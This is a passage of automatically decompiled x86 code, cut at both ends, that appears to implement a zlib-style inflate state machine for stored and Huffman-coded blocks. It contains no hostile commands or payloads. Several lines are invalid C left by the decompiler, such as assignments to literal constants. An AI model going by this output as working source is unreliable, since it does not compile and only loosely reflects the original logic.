												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												 *(__esp + 0x10) = __edx;
											}
											if( *(__edi + 0x40) != 0) {
												goto L312;
											} else {
												goto L83;
											}
										}
										goto L331;
									case 6:
										L84:
										if(( *(__edi + 0x10) & 0x00000800) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x1c) = 0;
											}
											goto L99;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x1c);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L99:
													 *(__edi + 0x40) = 0;
													 *__edi = 7;
													goto L100;
												}
											}
										}
										goto L331;
									case 7:
										L100:
										if(( *(__edi + 0x10) & 0x00001000) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x24) = 0;
											}
											goto L115;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x24);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L115:
													 *__edi = 8;
													goto L116;
												}
											}
										}
										goto L331;
									case 8:
										L116:
										if(( *(__edi + 0x10) & 0x00000200) == 0) {
											L123:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
												__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												__edx =  *(__edi + 0x20);
												 *( *(__edi + 0x20) + 0x30) = 1;
											}
											__eax = E00403080(0, 0, 0);
											__ecx =  *(__esp + 0x4c);
											__edx =  *(__esp + 0x1c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											 *__edi = 0xb;
											goto L304;
										} else {
											if(__esi >= 0x10) {
												L120:
												__ecx =  *(__edi + 0x18) & 0x0000ffff;
												if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
													__ebx = 0;
													__esi = 0;
													goto L123;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L120;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 9:
										if(__esi >= 0x20) {
											L130:
											__ebx = __ebx & 0x0000ff00;
											__ebx = __ebx << 0x10;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
											__ebx = __ebx >> 8;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
											__eax = __ebx >> 0x00000008 & 0x0000ff00;
											__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
											__eax = __ecx + __ebx;
											__ecx =  *(__esp + 0x40);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x40) + 0x30) = __eax;
											__ebx = 0;
											__esi = 0;
											 *__edi = 0xa;
											goto L131;
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L130;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xa:
										L131:
										if( *((intOrPtr*)(__edi + 0xc)) == 0) {
											__eax =  *(__esp + 0x40);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x18);
											 *__eax = __ebp;
											 *(__eax + 0x10) =  *(__esp + 0x18);
											 *(__eax + 4) = __edx;
											 *(__edi + 0x3c) = __esi;
											_pop(__esi);
											_pop(__ebp);
											 *(__edi + 0x38) = __ebx;
											_pop(__ebx);
											__eax = 2;
											return 2;
										} else {
											_push(0);
											_push(0);
											_push(0);
											__eax = E004024A0();
											__edx =  *(__esp + 0x4c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											__edx =  *(__esp + 0x1c);
											__esp = __esp + 0xc;
											 *__edi = 0xb;
											goto L133;
										}
										goto L331;
									case 0xb:
										L133:
										if( *((intOrPtr*)(__esp + 0x44)) == 5) {
											goto L312;
										} else {
											goto L134;
										}
										goto L331;
									case 0xc:
										L134:
										if( *(__edi + 4) == 0) {
											if(__esi >= 3) {
												L140:
												__ecx = __ebx;
												__ebx = __ebx >> 1;
												__eax = __ebx;
												__ecx = __ecx & 0x00000001;
												__eax = __ebx & 0x00000003;
												__esi = __esi - 1;
												 *(__edi + 4) = __ecx;
												if(__eax > 3) {
													L146:
													__ebx = __ebx >> 2;
													__esi = __esi - 2;
												} else {
													switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
														case 0:
															__ebx = __ebx >> 2;
															 *__edi = 0xd;
															__esi = __esi - 2;
															goto L304;
														case 1:
															__eax = __edi;
															__eax = E00407290(__edi);
															__ebx = __ebx >> 2;
															 *__edi = 0x12;
															__esi = __esi - 2;
															goto L304;
														case 2:
															__ebx = __ebx >> 2;
															 *__edi = 0xf;
															__esi = __esi - 2;
															goto L304;
														case 3:
															__eax =  *(__esp + 0x40);
															 *(__eax + 0x18) = 0x41d338;
															 *__edi = 0x1b;
															goto L146;
													}
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 3) {
														continue;
													} else {
														goto L140;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__esi = __esi & 0x00000007;
											__ebx = __ebx >> __cl;
											__esi = __esi - (__esi & 0x00000007);
											 *__edi = 0x18;
											goto L304;
										}
										goto L331;
									case 0xd:
										__esi = __esi & 0x00000007;
										__esi = __esi - (__esi & 0x00000007);
										__ebx = __ebx >> __cl;
										if(__esi >= 0x20) {
											L150:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx =  !__ebx;
											__eax = __ebx & 0x0000ffff;
											__ecx =  !__ebx >> 0x10;
											if(__eax ==  !__ebx >> 0x10) {
												__ebx = 0;
												 *(__edi + 0x40) = __eax;
												__esi = 0;
												 *__edi = 0xe;
												goto L153;
											} else {
												__eax =  *(__esp + 0x40);
												 *(__eax + 0x18) = 0x41d338;
												goto L303;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L150;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xe:
										L153:
										__eax =  *(__edi + 0x40);
										 *(__esp + 0x14) = __eax;
										if(__eax == 0) {
											goto L233;
										} else {
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											__ecx =  *(__esp + 0x18);
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x14) = __eax;
											}
											if(__eax == 0) {
												goto L312;
											} else {
												__ecx =  *(__esp + 0x14);
												__edx =  *(__esp + 0x24);
												__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
												__eax =  *(__esp + 0x20);
												 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
												 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
												 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
												__edx =  *(__esp + 0x1c);
												__ebp =  &(__ebp[__eax]);
												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												goto L304;
											}
										}
										goto L331;
									case 0xf:
										if(__esi >= 0xe) {
											L163:
											__ecx = __ebx;
											__ecx = __ebx & 0x0000001f;
											__ebx = __ebx >> 5;
											__ecx = __ecx + 0x101;
											__eax = __ebx;
											 *(__edi + 0x60) = __ecx;
											__ebx = __ebx >> 5;
											__ecx = __ebx;
											__eax = __eax & 0x0000001f;
											__ecx = __ebx & 0x0000000f;
											__eax = __eax + 1;
											__ecx = (__ebx & 0x0000000f) + 4;
											__ebx = __ebx >> 4;
											__esi = __esi - 0xe;
											 *(__edi + 0x64) = __eax;
											 *(__edi + 0x5c) = __ecx;
											if( *(__edi + 0x60) > 0x11e || __eax > 0x1e) {
												goto L34;
											} else {
												 *(__edi + 0x68) = 0;
												 *__edi = 0x10;
												goto L166;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0xe) {
													continue;
												} else {
													goto L163;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0x10:
										L166:
										__ecx =  *(__edi + 0x68);
										if( *(__edi + 0x68) >=  *(__edi + 0x5c)) {
											L172:
											__eax = 0x13;
											while( *(__edi + 0x68) < 0x13) {
												__edx =  *(__edi + 0x68);
												__ecx =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__edx = 0;
												 *((short*)(__edi + 0x70 + ( *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __dx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
											}
											__eax = __edi + 0x530;
											__ecx = __edi + 0x6c;
											 *(__edi + 0x6c) = __eax;
											 *(__edi + 0x4c) = __eax;
											__edx = __edi + 0x2f0;
											__eax = __edi + 0x54;
											 *(__edi + 0x54) = 7;
											__eax = __edi + 0x70;
											__eax = E00408C60(0, __edi + 0x70, 0x13, __edi + 0x6c, __edi + 0x70, __edi + 0x2f0);
											__edx =  *(__esp + 0x28);
											 *(__esp + 0x30) = __eax;
											if(__eax != 0) {
												goto L302;
											} else {
												 *(__edi + 0x68) = __eax;
												 *__edi = 0x11;
												goto L177;
											}
										} else {
											do {
												if(__esi >= 3) {
													goto L171;
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebp =  &(__ebp[1]);
														__ebx = __ebx + __eax;
														 *(__esp + 0x10) = __edx;
														if(__esi < 3) {
															continue;
														} else {
															goto L171;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L171:
												__eax =  *(__edi + 0x68);
												__eax =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__ebx = __ebx & 0x00000007;
												 *((short*)(__edi + 0x70 + __eax * 2)) = __cx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
												__ecx =  *(__edi + 0x68);
												__ebx = __ebx >> 3;
												__esi = __esi - 3;
											} while ( *(__edi + 0x68) <  *(__edi + 0x5c));
											goto L172;
										}
										goto L331;
									case 0x11:
										L177:
										__eax =  *(__edi + 0x64);
										__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
										if( *(__edi + 0x68) >= __eax) {
											L210:
											if( *__edi == 0x1b) {
												goto L304;
											} else {
												__eax = __edi + 0x530;
												__ecx = __edi + 0x6c;
												 *(__edi + 0x6c) = __eax;
												__edx = __edi + 0x2f0;
												 *(__edi + 0x4c) = __eax;
												__eax = __edi + 0x54;
												__ecx =  *(__edi + 0x60);
												__edx = __edi + 0x70;
												 *(__edi + 0x54) = 9;
												__eax = E00408C60(1, __edi + 0x70,  *(__edi + 0x60),  *(__edi + 0x60), __edi + 0x54, __edi + 0x2f0);
												 *(__esp + 0x30) = __eax;
												if(__eax == 0) {
													__edx =  *(__edi + 0x6c);
													__ecx = __edi + 0x6c;
													 *(__edi + 0x50) =  *(__edi + 0x6c);
													__edx = __edi + 0x2f0;
													__eax = __edi + 0x58;
													__ecx =  *(__edi + 0x60);
													 *(__edi + 0x58) = 6;
													__eax =  *(__edi + 0x64);
													__edx = __edi + 0x70 +  *(__edi + 0x60) * 2;
													__eax = E00408C60(2, __edi + 0x70 +  *(__edi + 0x60) * 2,  *(__edi + 0x64), __edi + 0x6c,  *(__edi + 0x64), __edi + 0x2f0);
													__edx =  *(__esp + 0x28);
													 *(__esp + 0x30) = __eax;
													if(__eax == 0) {
														 *__edi = 0x12;
														goto L216;
													} else {
														__eax =  *(__esp + 0x40);
														 *(__eax + 0x18) = 0x41d338;
														goto L303;
													}
												} else {
													__eax =  *(__esp + 0x40);
													__edx =  *(__esp + 0x10);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											}
										} else {
											do {
												__ecx =  *(__edi + 0x54);
												1 = 1 << __cl;
												__ecx =  *(__edi + 0x4c);
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
												1 = 1 >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x14) = 1;
												if((__cl & 0x000000ff) <= __esi) {
													L181:
													__eax = __eax >> 0x10;
													if(__eax >> 0x10 >= 0x10) {
														__cx =  *((intOrPtr*)(__esp + 0x16));
														if(__cx != 0x10) {
															__ecx = __ah & 0x000000ff;
															 *(__esp + 0x2c) = __ecx;
															if(__cx != 0x11) {
																__eax = __ecx + 7;
																if(__esi >= __eax) {
																	L203:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x0000007f;
																	__eax = (__ebx & 0x0000007f) + 0xb;
																	 *(__esp + 0x14) = (__ebx & 0x0000007f) + 0xb;
																	__ebx = __ebx >> 7;
																	__eax = 0xfffffff9;
																	goto L204;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 7;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L203;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															} else {
																__eax = __ecx + 3;
																if(__esi >= __eax) {
																	L199:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x00000007;
																	__eax = (__ebx & 0x00000007) + 3;
																	 *(__esp + 0x14) = (__ebx & 0x00000007) + 3;
																	__ebx = __ebx >> 3;
																	__eax = 0xfffffffd;
																	L204:
																	__esi = __esi + __eax;
																	__eax =  *(__esp + 0x14);
																	 *(__esp + 0x20) = 0;
																	goto L205;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 3;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L199;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															}
														} else {
															__ecx = __ah & 0x000000ff;
															__eax = __ecx + 2;
															 *(__esp + 0x2c) = __ecx;
															if(__esi >= __eax) {
																L192:
																__eax =  *(__edi + 0x68);
																__ebx = __ebx >> __cl;
																__esi = __esi - __ecx;
																if(__eax == 0) {
																	goto L302;
																} else {
																	__ecx =  *(__edi + 0x6e + __eax * 2) & 0x0000ffff;
																	__ebx = __ebx & 0x00000003;
																	__eax = (__ebx & 0x00000003) + 3;
																	__ebx = __ebx >> 2;
																	 *(__esp + 0x20) = __ecx;
																	 *(__esp + 0x14) = __eax;
																	__esi = __esi - 2;
																	L205:
																	__ecx =  *(__edi + 0x68);
																	__ecx =  *(__edi + 0x68) + __eax;
																	 *(__edi + 0x64) =  *(__edi + 0x64) +  *(__edi + 0x60);
																	if(__ecx >  *(__edi + 0x64) +  *(__edi + 0x60)) {
																		L34:
																		__eax =  *(__esp + 0x40);
																		 *(__eax + 0x18) = 0x41d338;
																		goto L303;
																	} else {
																		if( *(__esp + 0x14) != 0) {
																			__eax =  *(__esp + 0x20);
																			do {
																				__ecx =  *(__edi + 0x68);
																				 *(__esp + 0x14) =  *(__esp + 0x14) - 1;
																				 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __ax;
																				 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
																			} while ( *(__esp + 0x14) != 0);
																		}
																		goto L209;
																	}
																}
															} else {
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__ecx =  *(__esp + 0x2c);
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																	__eax = __ecx + 2;
																	__ebp =  &(__ebp[1]);
																	 *(__esp + 0x10) = __edx;
																	if(__esi < __eax) {
																		continue;
																	} else {
																		goto L192;
																	}
																	goto L331;
																}
																goto L312;
															}
														}
													} else {
														__eax = __eax >> 8;
														__ecx = __cl & 0x000000ff;
														if(__esi >= (__cl & 0x000000ff)) {
															L186:
															__ecx = __ah & 0x000000ff;
															__eax =  *(__edi + 0x68);
															__ebx = __ebx >> __cl;
															__esi = __esi - (__ah & 0x000000ff);
															__cx =  *((intOrPtr*)(__esp + 0x16));
															 *((short*)(__edi + 0x70 +  *(__edi + 0x68) * 2)) = __cx;
															 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
															goto L209;
														} else {
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																__eax =  *(__esp + 0x14);
																__ecx = __ah & 0x000000ff;
																 *(__esp + 0x10) = __edx;
																if(__esi < (__ah & 0x000000ff)) {
																	continue;
																} else {
																	goto L186;
																}
																goto L331;
															}
															goto L312;
														}
													}
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__ecx =  *(__edi + 0x54);
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
														1 = 1 << __cl;
														__ecx =  *(__edi + 0x4c);
														__ebp =  &(__ebp[1]);
														 *(__esp + 0x10) = __edx;
														(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
														__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
														1 = 1 >> 8;
														__ecx = __cl & 0x000000ff;
														 *(__esp + 0x14) = 1;
														if((__cl & 0x000000ff) > __esi) {
															continue;
														} else {
															goto L181;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L209:
												__eax =  *(__edi + 0x64);
												__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
											} while ( *(__edi + 0x68) < __eax);
											goto L210;
										}
										goto L331;
									case 0x12:
										L216:
										if(__edx < 6 ||  *(__esp + 0x18) < 0x102) {
											__ecx =  *(__edi + 0x54);
											1 = 1 << __cl;
											(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__ecx = (0x00000001 << __cl) - 0x00000001 & __ebx;
											__eax =  *(__edi + 0x4c);
											__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
											__eax = __eax >> 8;
											__ecx = __cl & 0x000000ff;
											 *(__esp + 0x14) = __eax;
											if((__cl & 0x000000ff) <= __esi) {
												L223:
												if(__al == 0 || (__al & 0x000000f0) != 0) {
													L230:
													__eax = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													__ebx = __ebx >> __cl;
													__esi = __esi - __ecx;
													 *(__esp + 0x20) = __ecx;
													__eax = __eax >> 0x10;
													 *(__edi + 0x40) = __eax >> 0x10;
													if(__al != 0) {
														if((__al & 0x00000020) == 0) {
															if((__al & 0x00000040) == 0) {
																__al & 0x000000ff = __al & 0xf;
																 *(__edi + 0x48) = __al & 0xf;
																 *__edi = 0x13;
																goto L237;
															} else {
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L303;
															}
														} else {
															L233:
															 *__edi = 0xb;
															goto L304;
														}
													} else {
														 *__edi = 0x17;
														goto L304;
													}
												} else {
													__eax = __eax >> 8;
													 *(__esp + 0x34) = __eax >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x20) = __cl & 0x000000ff;
													__al & 0x000000ff = (__al & 0x000000ff) +  *(__esp + 0x20);
													 *(__esp + 0x2c) = __eax;
													1 = 1 << __cl;
													__ecx =  *(__esp + 0x20);
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
													 *(__esp + 0x14) =  *(__esp + 0x14) >> 0x10;
													__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__ecx = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10);
													__eax =  *(__edi + 0x4c);
													__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x14) >> 0x10)) * 4);
													__ecx =  *(__esp + 0x34) & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax = __al & 0x000000ff;
													__eax = (__al & 0x000000ff) + ( *(__esp + 0x34) & 0x000000ff);
													if(__eax <= __esi) {
														L229:
														__ecx =  *(__esp + 0x2d) & 0x000000ff;
														__eax =  *(__esp + 0x14);
														__ebx = __ebx >> __cl;
														__esi = __esi - ( *(__esp + 0x2d) & 0x000000ff);
														goto L230;
													} else {
														while(__edx != 0) {
															__eax =  *__ebp & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebp & 0x000000ff) << __cl;
															__ecx =  *(__esp + 0x2c);
															__edx = __edx - 1;
															__esi = __esi + 8;
															__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
															__eax = __ch & 0x000000ff;
															 *(__esp + 0x20) = __eax;
															__cl & 0x000000ff = (__cl & 0x000000ff) + __eax;
															1 = 1 << __cl;
															__ecx =  *(__esp + 0x20);
															__ebp =  &(__ebp[1]);
															 *(__esp + 0x10) = __edx;
															(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
															__eax = ((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl;
															__ecx =  *(__esp + 0x2e) & 0x0000ffff;
															__eax = (((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff);
															__ecx =  *(__edi + 0x4c);
															__eax =  *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4);
															 *(__esp + 0x14) = 1;
															 *( *(__edi + 0x4c) + ((((0x00000001 << __cl) - 0x00000001 & __ebx) >> __cl) + ( *(__esp + 0x2e) & 0x0000ffff)) * 4) >> 8 = __al & 0x000000ff;
															__eax = (__al & 0x000000ff) +  *(__esp + 0x20);
															if(__eax > __esi) {
																continue;
															} else {
																goto L229;
															}
															goto L331;
														}
														goto L312;
													}
												}
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__ecx =  *(__edi + 0x54);
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
													1 = 1 << __cl;
													__ecx =  *(__edi + 0x4c);
													__ebp =  &(__ebp[1]);
													 *(__esp + 0x10) = __edx;
													(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
													__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
													1 = 1 >> 8;
													__ecx = __cl & 0x000000ff;
													 *(__esp + 0x14) = 1;
													if((__cl & 0x000000ff) > __esi) {
														continue;
													} else {
														goto L223;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__eax =  *(__esp + 0x40);
											__edx =  *(__esp + 0x18);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0x10) =  *(__esp + 0x18);
											__edx =  *(__esp + 0x28);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x10);
											_push( *(__esp + 0x28));
											 *__eax = __ebp;
											 *(__eax + 4) = __ecx;
											_push(__eax);
											 *(__edi + 0x38) = __ebx;
											 *(__edi + 0x3c) = __esi;
											__eax = E00406CA0();
											__eax =  *(__esp + 0x48);
											__edx =  *(__eax + 0x10);
											__ecx =  *(__eax + 0xc);
											__ebp =  *__eax;
											__eax =  *(__eax + 4);
											__ebx =  *(__edi + 0x38);
											__esi =  *(__edi + 0x3c);
											 *(__esp + 0x20) = __edx;
											__esp = __esp + 8;
											 *(__esp + 0x24) = __ecx;
											 *(__esp + 0x10) = __eax;
											__edx = __eax;
											goto L304;
										}
										goto L331;
									case 0x13:
										L237:
										__eax =  *(__edi + 0x48);
										if(__eax == 0) {
											L243:
											 *__edi = 0x14;
											goto L244;
										} else {
											if(__esi >= __eax) {
												L242:
												__ecx =  *(__edi + 0x48);
												1 = 1 << __cl;
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												 *(__edi + 0x40) =  *(__edi + 0x40) + ((0x00000001 << __cl) - 0x00000001 & __ebx);
												__ebx = __ebx >> __cl;
												__esi = __esi -  *(__edi + 0x48);
												goto L243;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi <  *(__edi + 0x48)) {
														continue;
													} else {
														goto L242;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 0x14:
										L244:
										__ecx =  *(__edi + 0x58);
										1 = 1 << __cl;
										(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
